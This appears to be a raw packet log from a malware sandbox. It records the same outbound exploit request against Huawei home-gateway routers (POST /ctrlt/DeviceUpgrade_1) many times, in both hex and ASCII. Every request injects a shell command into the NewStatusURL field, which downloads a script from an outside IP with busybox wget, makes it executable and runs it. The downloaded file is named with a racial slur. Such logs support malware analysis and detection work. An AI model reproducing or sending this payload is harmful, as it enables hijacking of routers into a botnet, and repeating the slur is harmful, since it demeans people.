/tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:42.354564905 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:43.474409103 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:45.682271957 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:50.289601088 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:59.248353958 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:17.933798075 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:54.792673111 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	45794	31.136.239.96	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:41.806071043 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:42.354564905 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
